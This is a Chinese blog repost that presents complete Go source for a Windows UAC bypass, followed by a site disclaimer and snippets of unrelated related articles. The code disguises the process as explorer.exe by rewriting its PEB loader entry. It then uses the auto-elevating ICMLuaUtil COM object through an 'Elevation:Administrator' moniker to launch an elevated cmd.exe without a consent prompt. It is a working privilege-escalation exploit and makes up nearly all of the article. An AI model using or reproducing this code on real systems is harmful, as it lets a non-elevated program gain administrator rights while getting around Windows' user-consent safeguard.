golang实现普通升管理员权限

golang实现普通升管理员权限

package mainimport ("fmt""os""path/filepath""runtime""syscall""unsafe""golang.org/x/sys/windows""golang.org/x/sys/windows/registry"
)var (modntdll = windows.NewLazySystemDLL("ntdll.dll")modole32 = windows.NewLazySystemDLL("ole32.dll")procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")procRtlGetCurrentPeb     = modntdll.NewProc("RtlGetCurrentPeb")procCoInitializeEx       = modole32.NewProc("CoInitializeEx")procCoUninitialize       = modole32.NewProc("CoUninitialize")procCoGetObject          = modole32.NewProc("CoGetObject")
)type cBIND_OPTS3 struct {cbStruct            uint32grfFlags            uint32grfMode             uint32dwTickCountDeadline uint32dwTrackFlags        uint32dwClassContext      uint32locale              uint32pServerInfo         *uintptrhwnd                *uintptr
}const (releaseOffset      = 2shellExecuteOffset = 9cSEE_MASK_DEFAULT = 0
)type cUNICODE_STRING struct {Length        uint16MaximumLength uint16Buffer        *uint16
}type cLIST_ENTRY struct {Flink *cLIST_ENTRYBlink *cLIST_ENTRY
}/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-* engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */type cLDR_DATA_TABLE_ENTRY struct {Reserved1          [2]uintptrInMemoryOrderLinks cLIST_ENTRYReserved2          [2]uintptrDllBase            uintptrReserved3          [2]uintptrFullDllName        cUNICODE_STRINGReserved4          [8]byteReserved5          [3]uintptrReserved6          uintptrTimeDateStamp      uint32
}type cPEB_LDR_DATA struct {Reserved1               [8]byteReserved2               [3]uintptrInMemoryOrderModuleList cLIST_ENTRY
}type cPEB struct {Reserved1              [2]byteBeingDebugged          byteReserved2              [1]byteReserved3              uintptrImageBaseAddress       uintptrLdr                    *cPEB_LDR_DATAProcessParameters      uintptrReserved4              [3]uintptrAtlThunkSListPtr       uintptrReserved5              uintptrReserved6              uint32Reserved7              uintptrReserved8              uint32AtlThunkSListPtr32     uint32Reserved9              [45]uintptrReserved10             [96]bytePostProcessInitRoutine uintptrReserved11             [128]byteReserved12             [1]uintptrSessionId              uint32
}const (// winuser.hSW_HIDE            = 0SW_NORMAL          = 1SW_SHOWNORMAL      = 1SW_SHOWMINIMIZED   = 2SW_SHOWMAXIMIZED   = 3SW_MAXIMIZE        = 3SW_SHOWNOACTIVATE  = 4SW_SHOW            = 5SW_MINIMIZE        = 6SW_SHOWMINNOACTIVE = 7SW_SHOWNA          = 8SW_RESTORE         = 9SW_SHOWDEFAULT     = 10SW_FORCEMINIMIZE   = 11
)
const (cCLSCTX_LOCAL_SERVER      = 4cCOINIT_APARTMENTTHREADED = 2
)func rtlInitUnicodeString(destinationString *cUNICODE_STRING, sourceString *uint16) {syscall.Syscall(procRtlInitUnicodeString.Addr(), 2, uintptr(unsafe.Pointer(destinationString)), uintptr(unsafe.Pointer(sourceString)), 0)return
}
func rtlGetCurrentPeb() (peb *cPEB) {r0, _, _ := syscall.Syscall(procRtlGetCurrentPeb.Addr(), 0, 0, 0, 0)peb = (*cPEB)(unsafe.Pointer(r0))return
}
func coInitializeEx(reserved uintptr, coInit uint32) (ret error) {r0, _, _ := syscall.Syscall(procCoInitializeEx.Addr(), 2, uintptr(reserved), uintptr(coInit), 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coGetObject(name *uint16, bindOpts *cBIND_OPTS3, guid *windows.GUID, functionTable ***[0xffff]uintptr) (ret error) {r0, _, _ := syscall.Syscall6(procCoGetObject.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(bindOpts)), uintptr(unsafe.Pointer(guid)), uintptr(unsafe.Pointer(functionTable)), 0, 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coUninitialize() {syscall.Syscall(procCoUninitialize.Addr(), 0, 0, 0, 0)return
}
func OpenCurrentProcessToken() (windows.Token, error) {p := windows.CurrentProcess()var t windows.Tokene := windows.OpenProcessToken(p, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &t)if e != nil {return 0, e}return t, nil
}// 检查是否为内置管理成员
func isAdmin(token windows.Token) bool {builtinAdminsGroup, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)if err != nil {return false}var checkableToken windows.Tokenerr = windows.DuplicateTokenEx(token, windows.TOKEN_QUERY|windows.TOKEN_IMPERSONATE, nil, windows.SecurityIdentification, windows.TokenImpersonation, &checkableToken)if err != nil {return false}defer checkableToken.Close()isAdmin, err := checkableToken.IsMember(builtinAdminsGroup)return isAdmin && err == nil
}
func TokenIsElevatedOrElevatable(token windows.Token) bool {if token.IsElevated() && isAdmin(token) {return true}linked, err := token.GetLinkedToken()if err != nil {return false}defer linked.Close()return linked.IsElevated() && isAdmin(linked)
}func findCurrentDataTableEntry() (entry *cLDR_DATA_TABLE_ENTRY, err error) {peb := rtlGetCurrentPeb()if peb == nil || peb.Ldr == nil {err = windows.ERROR_INVALID_ADDRESSreturn}for cur := peb.Ldr.InMemoryOrderModuleList.Flink; cur != &peb.Ldr.InMemoryOrderModuleList; cur = cur.Flink {entry = (*cLDR_DATA_TABLE_ENTRY)(unsafe.Pointer(uintptr(unsafe.Pointer(cur)) - unsafe.Offsetof(cLDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)))if entry.DllBase == peb.ImageBaseAddress {return}}entry = nilerr = windows.ERROR_OBJECT_NOT_FOUNDreturn
}
func main() {//获取进程TokenprocessToken, err := OpenCurrentProcessToken() //TODO: Change to windows.OpenCurrentProcessToken once https://go-review.googlesource.com/c/sys/+/192337 landsif err != nil {return}defer processToken.Close()// //判断当前进程是否可以升权if processToken.IsElevated() {fmt.Println("你已经是管理员!!")return}if !TokenIsElevatedOrElevatable(processToken) {fmt.Println("你已经是管理员!!")err = windows.ERROR_ACCESS_DENIEDreturn}//检查UAC是否开启key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE)if err != nil {return}promptBehavior, _, err := key.GetIntegerValue("ConsentPromptBehaviorAdmin")key.Close()if err != nil {return}if uint32(promptBehavior) == 0 {fmt.Println("关闭了UAC")err = windows.ERROR_SUCCESSreturn}if uint32(promptBehavior) != 5 {fmt.Println("UAC权限太高无法提权")err = windows.ERROR_ACCESS_DENIEDreturn}key, err = registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList", registry.QUERY_VALUE)if err == nil {var autoApproved uint64autoApproved, _, err = key.GetIntegerValue("{3E5FC7F9-9A51-4367-9063-A120244FBEC7}")key.Close()if err != nil {return}if uint32(autoApproved) == 0 {err = windows.ERROR_ACCESS_DENIEDreturn}}dataTableEntry, err := findCurrentDataTableEntry()if err != nil {return}windowsDirectory, err := windows.GetSystemWindowsDirectory()if err != nil {fmt.Println("err", err)return}originalPath := dataTableEntry.FullDllName.BufferexplorerPath := windows.StringToUTF16Ptr(filepath.Join(windowsDirectory, "explorer.exe"))rtlInitUnicodeString(&dataTableEntry.FullDllName, explorerPath)defer func() {rtlInitUnicodeString(&dataTableEntry.FullDllName, originalPath)runtime.KeepAlive(explorerPath)}()if err = coInitializeEx(0, cCOINIT_APARTMENTTHREADED); err == nil {defer coUninitialize()}var interfacePointer **[0xffff]uintptr//使用CoGetObject方法获取ICMLuaUtil接口的实例if err = coGetObject(windows.StringToUTF16Ptr("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"),&cBIND_OPTS3{cbStruct:       uint32(unsafe.Sizeof(cBIND_OPTS3{})),dwClassContext: cCLSCTX_LOCAL_SERVER,},&windows.GUID{0x6EDD6D74, 0xC007, 0x4E75, [8]byte{0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}},&interfacePointer,); err != nil {return}exePath, _ := windows.UTF16PtrFromString("cmd.exe")arguments, _ := windows.UTF16PtrFromString("")pwd, _ := os.Getwd()workDir, _ := windows.UTF16PtrFromString(pwd)defer syscall.Syscall((*interfacePointer)[releaseOffset], 1, uintptr(unsafe.Pointer(interfacePointer)), 0, 0)if ret, _, _ := syscall.Syscall6((*interfacePointer)[shellExecuteOffset], 6,uintptr(unsafe.Pointer(interfacePointer)),uintptr(unsafe.Pointer(exePath)),uintptr(unsafe.Pointer(arguments)),uintptr(unsafe.Pointer(workDir)),cSEE_MASK_DEFAULT,uintptr(SW_SHOW),); ret != uintptr(windows.ERROR_SUCCESS) {err = syscall.Errno(ret)return}err = nil
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/838249.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

认识数据库,及 MySQL数据库的基本使用

数据库 1.1 数据库的基本概念 1.2 常见的数据库及分类 市面上的数据库有很多种,最常见的数据库有如下几个: MySQL 数据库(目前使用最广泛、流行度最高的开源免费数据库;Community Enterprise) Oracle 数据库&…

这 10 个 Linux 命令,我不允许你还不知道!

Linux当中有很多比较有趣的命令,可以动手看看,很简单的。 1.rev命令 一行接一行地颠倒所输入的字符串。 运行: $rev 如输入:shiyanlou shiyanlou 2.asciiview命令 1.先安装aview $sudo apt-get install aview 2.再安装im…

【吃透Java手写】6-Netty-NIO-BIO-简易版

Netty 1 BIO&NIO模型 1.1 BIO 在JDK1.4出来之前,我们建立网络连接的时候采用BIO模式,需要先在服务端启动一个ServerSocket,然后在客户端启动Socket来对服务端进行通信,默认情况下服务端需要对每个请求建立一堆线程等待请求&…

TikTok Shop认知课 打通TK小店全流程

资料 001-先导课.mp4 002-如何用思维导图工具做课程笔记.mp4 003-TTS入驻模式.mp4 004-如何获取店铺.mp4 005-TTS店铺注册全流程,mp4 006-店铺整体运营思路.mp4 007-运营的几个误区.mp4 008-新店起店准备工作,mp4 009-规店铺风控注意事项,mp4 010-店铺基础设置之店铺…

基于火山引擎云搜索的混合搜索实战

在搜索应用中,传统的 Keyword Search 一直是主要的搜索方法,它适合精确匹配查询的场景,能够提供低延迟和良好的结果可解释性,但是 Keyword Search 并没有考虑上下文信息,可能产生不相关的结果。最近几年,基…

单文件组件,为什么要使用 SFC

介绍 Vue 的单文件组件 (即 *.vue 文件&#xff0c;英文 Single-File Component&#xff0c;简称 SFC) 是一种特殊的文件格式&#xff0c;使我们能够将一个 Vue 组件的模板、逻辑与样式封装在单个文件中。下面是一个单文件组件的示例&#xff1a; <script setup> impor…

机器学习_朴素贝叶斯

机器学习_朴素贝叶斯 朴素贝叶斯算法&#xff08;Naive Bayes Algorithm&#xff09;是一种基于贝叶斯定理与特征条件独立假设的分类方法。该算法假设给定目标值时&#xff0c;各个特征之间相互独立。朴素贝叶斯算法通过训练数据集学习联合概率分布&#xff0c;并基于此模型&a…

优秀博士学位论文分享:复杂场景下高精度有向目标检测的研究

优秀博士学位论文代表了各学科领域博士研究生研究成果的最高水平&#xff0c;本公众号近期将推出“优秀博士学位论文分享”系列文章&#xff0c;对人工智能领域2023年优秀博士学位论文进行介绍和分享&#xff0c;方便广大读者了解人工智能领域最前沿的研究进展。 “博士学位论…

C++11 新特性 常量表达式 constexpr

为了解决常量无法确定的问题&#xff0c;C11在新标准中提出了关键字constexpr&#xff0c;它能够有效地定义常量表达式&#xff0c;并且达到类型安全、可移植、方便库和嵌入式系统开发的目的。 一、常量的不确定性 在C11标准以前&#xff0c;我们没有一种方法能够有效地要求一…

UBUNTU下CMAKE指定执行文件运行时查找库的路径

在Ubuntu下&#xff0c;使用CMake时&#xff0c;如果需要指定执行文件运行时库的搜索路径&#xff0c;可以在CMakeLists.txt文件中通过set_target_properties命令来设置。 以下是一个示例&#xff0c;假设你的目标是一个名为my_application的可执行文件&#xff0c;你想要添加…

LLama3大模型本地部署 仅需6步完成对话模型本地安装部署。附送可视化ui安装、自定义模型目录,修改模型保存地址,第三方微调模型、中文模型下载地址

本篇分为三部分 一&#xff1a;6步完成llama3大模型本地部署 二&#xff1a;8步完成llama3可视化对话界面安装 三&#xff1a;重设模型文件路径 四&#xff1a;微调模型、中文模型下载资源分享 一、LLama3 大模型本地部署安装 首先去mata官网下载ollama客户端 Ollama 选择合适…

如何使用正则表达式避免生成空字符串

在字符串处理中&#xff0c;我们经常需要将字符串根据特定的分隔符拆分成多个子字符串。Java 中的 split 方法可以很好地完成这项任务。但是&#xff0c;在使用 split 方法时&#xff0c;如果分隔符连续出现&#xff0c;可能会生成空字符串。 可以使用正则表达式避免生成空字符…

linux 环境下 分布式文件搭建fastDFS

1.软件信息 地址&#xff1a;happyfish100 (YuQing) GitHub 1.fastdfs-master.zip 2.fastdfs-nginx-module-master.zip 3.libfastcommon-master.zip 4.libserverframe-master.zip yum install make cmake gcc gcc-c perl 2.安装libfastcommon unzip libfastcommon-mast…

MQTT_客户端安装_1.4

下载地址 MQTTX 下载 下一步直接安装即可 界面介绍

人工智能项目,如何解决大模型的数据私有化

这个问题是最近走访百家企业&#xff0c;客户问的最多的问题。人工智能是对数据集中后&#xff0c;再利用的智能化手段&#xff0c;ChatGPT还在持续的投入&#xff0c;汇集数据、训练模型&#xff0c;微软也不过是做了一个办公客户端的智能工具&#xff0c;那么行业应运之时&am…

基于CentOS-7搭建hadoop3.3.6大数据集群(保姆级教程)

目录 安装虚拟机 为hadoop用户添加权限 关闭防火墙 修改主机名以及ip地址映射 配置ip 连接xshell &#xff0c;以hadoop用户登录 创建目录并将该文件夹权限赋予hadoop用户 安装配置jdk 关闭虚拟机&#xff0c;克隆其他两个节点 修改主机名和ip地址 配置免密登录 安装…

如何通过专业的二手机店erp优化手机商家运营!

在数字化浪潮席卷全球的大背景下&#xff0c;手机行业作为科技发展的前沿阵地&#xff0c;正经历着前所未有的变革。对于众多手机商家而言&#xff0c;如何在这场变革中抢占先机&#xff0c;实现数字化转型&#xff0c;成为了摆在他们面前的一大难题。幸运的是&#xff0c;途渡…

工作绩效域怎么写和子题目如何回应

某智慧案管信息化系统 在2023年11月&#xff0c;我作为项目经理&#xff0c;领导了“某市XX智慧案管信息化系统”项目的建设工作。该项目以485.5万元的合同金额成功中标&#xff0c;预计建设周期为12个月。作为一个多维度的系统工程&#xff0c;它由案件受理、分配、跟踪、审理…

python如何在图片上写斜体字

在Python中&#xff0c;直接在图片上写斜体文字通常不是图像库&#xff08;如PIL或OpenCV&#xff09;的内置功能&#xff0c;因为这些库主要关注于图像处理而非复杂的文本渲染。然而&#xff0c;你可以通过几种方式在图片上创建斜体效果&#xff1a; 使用PIL&#xff08;Pytho…

API低代码平台介绍3-异构数据源的数据查询功能

异构数据源的数据查询功能 在上一篇文章中我们通过API平台定义了一个最基本的数据查询接口&#xff0c;本篇文章我们将上升难度&#xff0c;在原有接口的基础上&#xff0c;实现在MySQL数据库和Oracle数据库同时进行数据查询。   什么场景会需要同时对异构数据源进行查询&…